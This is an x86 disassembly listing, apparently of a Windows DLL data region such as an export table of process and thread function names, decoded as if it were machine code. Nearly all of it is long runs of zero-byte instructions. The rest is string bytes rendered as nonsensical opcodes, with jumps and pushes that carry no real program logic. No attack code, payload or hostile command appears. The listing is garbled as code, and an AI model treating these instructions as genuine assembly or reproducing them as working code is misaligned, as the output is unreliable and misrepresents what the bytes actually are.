add eax, dword [eax]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
xor byte [eax], al
add byte [eax], cl
add byte [eax], al
add byte [eax], al
adc byte [eax], al
add byte [eax + eax], bl
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
je 0x40c041
js 0x40c052
add byte [eax], al
add byte [ebx + 6], al
add byte [eax], al
add byte [eax], dl
add byte [eax], al
add byte [eax], cl
add byte [eax], al
add byte [eax + eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], ah
add byte [eax], al
pushal
jb 0x40c077
jb 0x40c069
add byte [eax], al
add al, dh
add eax, dword [eax]
add byte [eax], al
and byte [eax], al
add byte [eax], al
add al, 0
add byte [eax], al
or al, 0
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax + 0x2e], al
jb 0x40c091
insb byte es:[edi], dx
outsd dx, dword [esi]
arpl word [eax], ax
add byte [edx], bl
add byte [eax], al
add byte [eax], al
xor byte [eax], al
add byte [eax], al
add al, byte [eax]
add byte [eax], al
adc byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [edx], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
inc eax
add byte [eax], al
inc edx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax + 0x57d2f4], dh
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
mov al, 0xf4
rcl byte [edi], cl
add byte [eax], al
add byte [edx], al
add byte [eax], al
add byte [edx], al
add byte [eax], al
sbb al, 0x10
add byte [eax], al
sbb al, 4
add byte [eax], al
push edx
push ebx
inc esp
push ebx
scasd eax, dword es:[edi]
cmp byte [ebx + 0x4fb38937], 0xa5
stc
inc esi
inc edi
jle 0x40c24c
or al, 1
add byte [eax], al
add byte [ecx + 0x50], al
dec ecx
sub eax, 0x572d534d
imul ebp, dword [esi + 0x2d], 0x65726f43
sub eax, 0x636f7250
jae 0x40c2bf
push esp
push 0x64616572
jae 0x40c281
dec esp
xor dword [0x2e302d31], ebp
jo 0x40c2c1
bound eax, qword [eax]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
xor eax, eax
ret
mov eax, 1
cmp edx, eax
jne 0x40c28c
xor eax, eax
ret
add byte [eax], al
push 0x68000010
adc byte [eax], al
add byte [eax + 0x10], ch
add byte [eax], al
push 0x74000010
adc byte [eax], al
add byte [eax + edx], dh
add byte [eax + edx], dh
add byte [eax + edx], dh
add byte [eax + 0x10], ch
add byte [eax], al
push 0x68000010
adc byte [eax], al
add byte [eax + 0x10], ch
add byte [eax], al
push 0x68000010
adc byte [eax], al
add byte [eax + 0x10], ch
add byte [eax], al
push 0x68000010
adc byte [eax], al
add byte [eax + 0x10], ch
add byte [eax], al
push 0x74000010
adc byte [eax], al
add byte [eax + 0x10], ch
add byte [eax], al
push 0x68000010
adc byte [eax], al
add byte [eax + 0x10], ch
add byte [eax], al
push 0x68000010
adc byte [eax], al
add byte [eax + 0x10], ch
add byte [eax], al
push 0x68000010
adc byte [eax], al
add byte [eax + 0x10], ch
add byte [eax], al
push 0x68000010
adc byte [eax], al
add byte [eax + 0x10], ch
add byte [eax], al
push 0x68000010
adc byte [eax], al
add byte [eax + 0x10], ch
add byte [eax], al
push 0x68000010
adc byte [eax], al
add byte [eax + 0x10], ch
add byte [eax], al
push 0x68000010
adc byte [eax], al
add byte [eax + 0x10], ch
add byte [eax], al
push 0x68000010
adc byte [eax], al
add byte [eax + 0x10], ch
add byte [eax], al
push 0x68000010
adc byte [eax], al
add ah, cl
adc al, byte [eax]
add bl, bl
adc al, byte [eax]
add al, dh
adc al, byte [eax]
add bh, bh
adc al, byte [eax]
add byte [edx], dl
adc eax, dword [eax]
add byte [edi], ah
adc eax, dword [eax]
add byte [ebx + edx], dh
add byte [eax], al
push edx
adc eax, dword [eax]
add byte [esi + 0x13], bl
add byte [eax], al
imul edx, dword [ebx], 0x13820000
add byte [eax], al
xchg esp, eax
adc eax, dword [eax]
add byte [eax - 0x46ffffed], ch
adc eax, dword [eax]
add ah, cl
adc eax, dword [eax]
add bh, bl
adc eax, dword [eax]
add cl, dh
adc eax, dword [eax]
add byte [edx], al
adc al, 0
add byte [edi], cl
adc al, 0
add byte [esp + edx], ah
add byte [eax], al
xor al, 0x14
add byte [eax], al
inc esi
adc al, 0
add byte [esi + 0x14], dl
add byte [eax], al
bound edx, qword [eax + eax]
add byte [esp + edx], dh
add byte [ebx - 0x52ffffec], cl
adc al, 0
add byte [esi - 0x36ffffec], bh
adc al, 0
add cl, bl
adc al, 0
add dh, ch
adc al, 0
add byte [0x1a000015], cl
adc eax, 0x15270000
add byte [eax], al
cmp byte [0x15550000], dl
add byte [eax], al
jb 0x40c424
add byte [eax], al
test byte [0x159b0000], dl
add byte [eax], al
mov bl, 0x15
add byte [eax], al
ret 0x15
add bh, bl
adc eax, 0x15f00000
add byte [eax], al
add byte [esi], dl
add byte [eax], al
or dword [esi], edx
add byte [eax], al
adc dword [esi], edx
add byte [eax], al
sbb eax, 0x29000016
push ss
add byte [eax], al
add byte [eax], al
add dword [eax], eax
add al, byte [eax]
add eax, dword [eax]
add al, 0
add eax, 0x7000600
add byte [eax], cl
add byte [ecx], cl
add byte [edx], cl
add byte [ebx], cl
add byte [eax + eax], cl
or eax, 0xf000e00
add byte [eax], dl
add byte [ecx], dl
add byte [edx], dl
add byte [ebx], dl
add byte [eax + eax], dl
adc eax, 0x17001600
add byte [eax], bl
add byte [ecx], bl
add byte [edx], bl
add byte [ebx], bl
add byte [eax + eax], bl
sbb eax, 0x1f001e00
add byte [eax], ah
add byte [ecx], ah
add byte [edx], ah
add byte [ebx], ah
add byte [eax + eax], ah
and eax, 0x27002600
add byte [eax], ch
add byte [ecx], ch
add byte [edx], ch
add byte [ebx], ch
add byte [eax + eax], ch
sub eax, 0x2f002e00
add byte [eax], dh
add byte [ecx + 0x50], al
dec ecx
sub eax, 0x572d534d
imul ebp, dword [esi + 0x2d], 0x65726f43
sub eax, 0x636f7250
jae 0x40c52d
push esp
push 0x64616572
jae 0x40c4ef
dec esp
xor dword [0x2e302d31], ebp
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [ebx + 0x72], al
popal
je 0x40c538
push eax
jb 0x40c545
arpl word [ebp + 0x73], sp
jae 0x40c51c
add byte [ebx + 0x72], al
popal
je 0x40c547
push eax
jb 0x40c554
arpl word [ebp + 0x73], sp
jae 0x40c52b
jae 0x40c541
jae 0x40c553
jb 0x40c547
push edi
add byte [ebx + 0x72], al
popal
je 0x40c55c
push eax
jb 0x40c569
arpl word [ebp + 0x73], sp
jae 0x40c556
add byte [ebx + 0x72], al
popal
je 0x40c56b
push edx
insd dword es:[edi], dx
outsd dx, dword [esi]
je 0x40c571
push esp
push 0x64616572
add byte [ebx + 0x72], al
popal
je 0x40c57e
push edx
insd dword es:[edi], dx
outsd dx, dword [esi]
je 0x40c584
push esp
push 0x64616572
inc ebp
js 0x40c528
inc ebx
jb 0x40c590
popal
je 0x40c593
push esp
push esp
push 0x64616572
add byte [ebp + 0x6c], al
je 0x40c5a0
push eax
jb 0x40c5ad
arpl word [eax + ebp*2 + 0x72], dx
popal
jb 0x40c5a8
popal
inc ecx
inc ecx
je 0x40c5bc
je 0x40c5bb
jb 0x40c5b3
imul esp, dword [edx + 0x75], 0x694c6574
jae 0x40c5c6
bound esi, qword [ebp + 0x74]
dec esp
imul esi, dword [ebx + 0x74], 0x69784500
add byte [ebp + 0x78], al
imul esi, dword [eax + edx*2 + 0x72], 0x7365636f
inc ebp
js 0x40c5bf
je 0x40c5a8
jb 0x40c5c9
arpl word [ebp + 0x73], sp
jae 0x40c5d1
jae 0x40c55f
add byte [ebp + 0x78], al
imul esi, dword [esp + edx*2 + 0x68], 0x64616572
inc ebp
js 0x40c5cb
je 0x40c5b8
push 0x64616572
add byte [esi + 0x6c], al
insb byte es:[edi], dx
jne 0x40c5e1
push 0x636f7250
jae 0x40c5e9
outsd dx, dword [esi]
arpl word [ebp + 0x73], sp
jae 0x40c5ce
push edi
jb 0x40c5e2
je 0x40c5e0
inc edx
jne 0x40c5e4
jb 0x40c5f5
add byte [edi + 0x65], al
je 0x40c5ca
je 0x40c5ca
jne 0x40c5fb
jb 0x40c5f0
outsb dx, byte [esi]
je 0x40c5de
jb 0x40c5ff
arpl word [ebp + 0x73], sp
jae 0x40c595
inc edi
je 0x40c5dc
jne 0x40c60d
jb 0x40c602
outsb dx, byte [esi]
je 0x40c5f0
jb 0x40c611
arpl word [ebp + 0x73], sp
jae 0x40c5f0
add byte fs:[edi + 0x65], al
add byte [edi + 0x65], al
je 0x40c5f0
jne 0x40c621
jb 0x40c616
outsb dx, byte [esi]
je 0x40c608
push esp
push 0x64616572
add byte [edi + 0x65], al
add byte fs:[edi + 0x65], al
je 0x40c601
je 0x40c601
jne 0x40c632
jb 0x40c633
jb 0x40c627
outsb dx, byte gs:[esi]
outsb dx, byte [esi]
je 0x40c619
push 0x64616572
jb 0x40c62d
popal
dec ecx
dec ecx
add byte fs:[edi + 0x65], al
je 0x40c616
je 0x40c616
js 0x40c63c
je 0x40c618
outsd dx, dword [esi]
push eax
jb 0x40c64a
arpl word [ebp + 0x73], sp
jae 0x40c652
jae 0x40c5e0
add byte [edi + 0x65], al
inc edi
je 0x40c629
je 0x40c629
js 0x40c64f
je 0x40c62b
outsd dx, dword [esi]
push esp
push 0x64616572
add byte [edi + 0x65], al
add byte fs:[edi + 0x65], al
je 0x40c646
push eax
jb 0x40c661
outsd dx, dword [esi]
jb 0x40c664
je 0x40c676
inc ebx
insb byte es:[edi], dx
popal
jae 0x40c675
jae 0x40c603
add byte [edi + 0x65], al
je 0x40c657
inc edi
je 0x40c657
jb 0x40c678
outsd dx, dword [esi]
arpl word [ebp + 0x73], sp
jae 0x40c657
dec ecx
add byte fs:[edi + 0x65], al
je 0x40c664
je 0x40c664
jb 0x40c685
arpl word [ebp + 0x73], sp
jae 0x40c68d
jae 0x40c664
dec ecx
dec edi
push sp
push 0x64616572
add byte [edi + 0x65], al
popal
add byte fs:[edi + 0x65], al
je 0x40c679
jb 0x40c69a
arpl word [ebp + 0x73], sp
jae 0x40c684
jae 0x40c6a2
push esp
imul ebp, dword [ebp + 0x65], 0x65470073
je 0x40c689
jae 0x40c635
jae 0x40c635
inc edi
je 0x40c689
jb 0x40c6aa
arpl word [ebp + 0x73], sp
jae 0x40c696
jae 0x40c6b2
push esi
jb 0x40c6b6
imul ebp, dword [edi + 0x6e], 0x74654700
add byte [edi + 0x65], al
je 0x40c69e
push ebx
je 0x40c6ae
jb 0x40c6c3
jne 0x40c6c1
dec ecx
outsb dx, byte [esi]
outsw dx, word [esi]
push edi
add byte [edi + 0x65], al
je 0x40c6af
inc edi
je 0x40c6af
push 0x64616572
dec ecx
add byte fs:[edi + 0x65], al
je 0x40c6bb
je 0x40c6bb
push 0x64616572
push eax
jb 0x40c6d8
outsd dx, dword [esi]
jb 0x40c6db
je 0x40c6ed
add byte [edi + 0x65], al
je 0x40c6cd
inc edi
je 0x40c6cd
push esp
push 0x64616572
push eax
jb 0x40c6ea
outsd dx, dword [esi]
jb 0x40c6ed
je 0x40c6ff
jns 0x40c6c9
inc edx
outsd dx, dword [esi]
outsd dx, dword [esi]
jae 0x40c6ff
add byte [ecx + 0x6e], cl
outsb dx, byte [esi]
imul esi, dword [ecx + ebp*2 + 0x61], 0x657a696c
push eax
jb 0x40c708
arpl word [eax + ebp*2 + 0x72], dx
popal
push esp
push 0x64616572
inc ecx
popal
inc ecx
je 0x40c717
je 0x40c716
jb 0x40c70e
imul esp, dword [edx + 0x75], 0x694c6574
jae 0x40c721
bound esi, qword [ebp + 0x74]
dec esp
imul esi, dword [ebx + 0x74], 0x65704f00
add byte [edi + 0x70], cl
outsb dx, byte gs:[esi]
dec edi
jo 0x40c716
outsb dx, byte [esi]
push eax
jb 0x40c724
arpl word [ebp + 0x73], sp
jae 0x40c70e
jae 0x40c72c
push esp
outsd dx, dword [esi]
imul esp, dword [ebp + 0x6e], 0
dec edi
jo 0x40c727
outsb dx, byte gs:[esi]
outsb dx, byte [esi]
push esp
push 0x64616572
add byte [edi + 0x70], cl
outsb dx, byte gs:[esi]
outsb dx, byte [esi]
push esp
push 0x64616572
push esp
outsd dx, dword [esi]
imul esp, dword [ebp + 0x6e], 0
push eax
outsb dx, byte [esi]
add byte [eax + 0x72], dl
outsd dx, dword [esi]
jb 0x40c74c
arpl word [ebp + 0x73], sp
jae 0x40c72b
push esp
outsd dx, dword [esi]
push ebx
jae 0x40c75c
imul ebp, dword [edi + 0x6e], 0x51006449
jne 0x40c757
outsd dx, dword [esi]
outsb dx, byte [esi]
dec ecx
add byte fs:[ecx + 0x75], dl
jb 0x40c76d
jb 0x40c76d
push eax
jb 0x40c766
arpl word [ebp + 0x73], sp
jae 0x40c73d
imul bp, word [esi + 0x69], 0x7974
push ebp
jo 0x40c76a
outsb dx, byte [esi]
imul esi, dword [ecx + edi*2 + 0x55], 0x74616470
popal
je 0x40c76e
dec ebp
dec ebp
outsd dx, dword [esi]
add byte gs:[ecx + 0x75], dl
jne 0x40c778
push ecx
jne 0x40c776
jne 0x40c778
push ebp
jae 0x40c77b
jb 0x40c759
inc ecx
push eax
inc ebx
add byte [edx + 0x65], dl
jae 0x40c794
insd dword es:[edi], dx
push esp
push esp
push 0x64616572
popal
add byte fs:[ebx + 0x65], dl
add byte [ebx + 0x65], dl
je 0x40c77c
push eax
jb 0x40c797
outsd dx, dword [esi]
jb 0x40c79a
je 0x40c7ac
inc ebx
insb byte es:[edi], dx
popal
jae 0x40c7ab
add byte [ebx + 0x65], dl
je 0x40c78d
jb 0x40c7ae
arpl word [ebp + 0x73], sp
jae 0x40c785
imul bp, word [esi + 0x69], 0x7974
push ebp
jo 0x40c7b2
popal
je 0x40c7b6
dec ebp
outsd dx, dword [esi]
add byte gs:[ebx + 0x65], dl
je 0x40c7aa
je 0x40c7aa
push eax
jb 0x40c7cb
arpl word [ebp + 0x73], sp
jae 0x40c7b4
push 0x6f647475
ja 0x40c7d6
push eax
popal
jb 0x40c7cd
insd dword es:[edi], dx
je 0x40c7d5
je 0x40c7d5
jb 0x40c7e5
add byte [ebx + 0x65], dl
je 0x40c7cb
push esp
push 0x64616572
jb 0x40c7df
popal
push eax
push eax
jb 0x40c7e8
outsd dx, dword [esi]
jb 0x40c7eb
je 0x40c7fd
add byte [ebx + 0x65], dl
je 0x40c7dd
push ebx
je 0x40c7dd
push 0x64616572
push eax
push eax
jb 0x40c7fa
outsd dx, dword [esi]
jb 0x40c7fd
je 0x40c80f
inc edx
outsd dx, dword [esi]
outsd dx, dword [esi]
jae 0x40c80f
je 0x40c79c
add byte [ebx + 0x65], dl
je 0x40c7f4
push ebx
je 0x40c7f4
push 0x64616572
push ebx
je 0x40c809
arpl word [ebx + 0x47], bp
inc edi
jne 0x40c80e
popal
jb 0x40c810
popal
outsb dx, byte [esi]
je 0x40c817
add byte gs:[ebx + 0x65], dl
push ebx
je 0x40c80c
je 0x40c80c
push 0x64616572
push esp
outsd dx, dword [esi]
imul esp, dword [ebp + 0x6e], 0
push ebx
jne 0x40c839
jo 0x40c82d
outsb dx, byte [esi]
push esp
push 0x64616572
add byte [ebx + 0x77], dl
popal
add byte fs:[ebx + 0x77], dl
imul esi, dword [ebx + 0x68], 0x68546f54
arpl word [eax + 0x54], bp
outsd dx, dword [esi]
push esp
push 0x64616572
push 0x68546f54
jb 0x40c842
popal
add byte fs:[ebp + 0x72], dl
add byte [ebp + 0x72], dl
insd dword es:[edi], dx
imul ebp, dword [esi + 0x61], 0x72506574
outsb dx, byte [esi]
popal
je 0x40c84e
push eax
push eax
jb 0x40c85b
outsd dx, dword [esi]
arpl word [ebp + 0x73], sp
jae 0x40c7f1
push esp
jb 0x40c862
insd dword es:[edi], dx
imul ebp, dword [esi + 0x61], 0x68546574
jb 0x40c863
push esp
push 0x64616572
add byte [esp + ebp*2 + 0x73], dl
popal
popal
add byte fs:[esp + ebp*2 + 0x73], dl
inc ecx
insb byte es:[edi], dx
insb byte es:[edi], dx
outsd dx, dword [esi]
arpl word [eax], ax
push esp
insb byte es:[edi], dx
add byte [esp + ebp*2 + 0x73], dl
inc esi
jae 0x40c854
jb 0x40c875
add byte gs:[esp + ebp*2 + 0x73], dl
add byte gs:[esp + ebp*2 + 0x73], dl
inc edi
je 0x40c86f
je 0x40c86f
popal
insb byte es:[edi], dx
jne 0x40c882
add byte [esp + ebp*2 + 0x73], dl
push ebx
je 0x40c87b
popal
insb byte es:[edi], dx
jne 0x40c88e
add byte [ebp + 0x70], dl
popal
popal
je 0x40c895
push eax
jb 0x40c8a2
arpl word [eax + ebp*2 + 0x72], dx
popal
inc ecx
je 0x40c8b1
jb 0x40c8a8
bound esi, qword [ebp + 0x74]
add byte gs:[eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
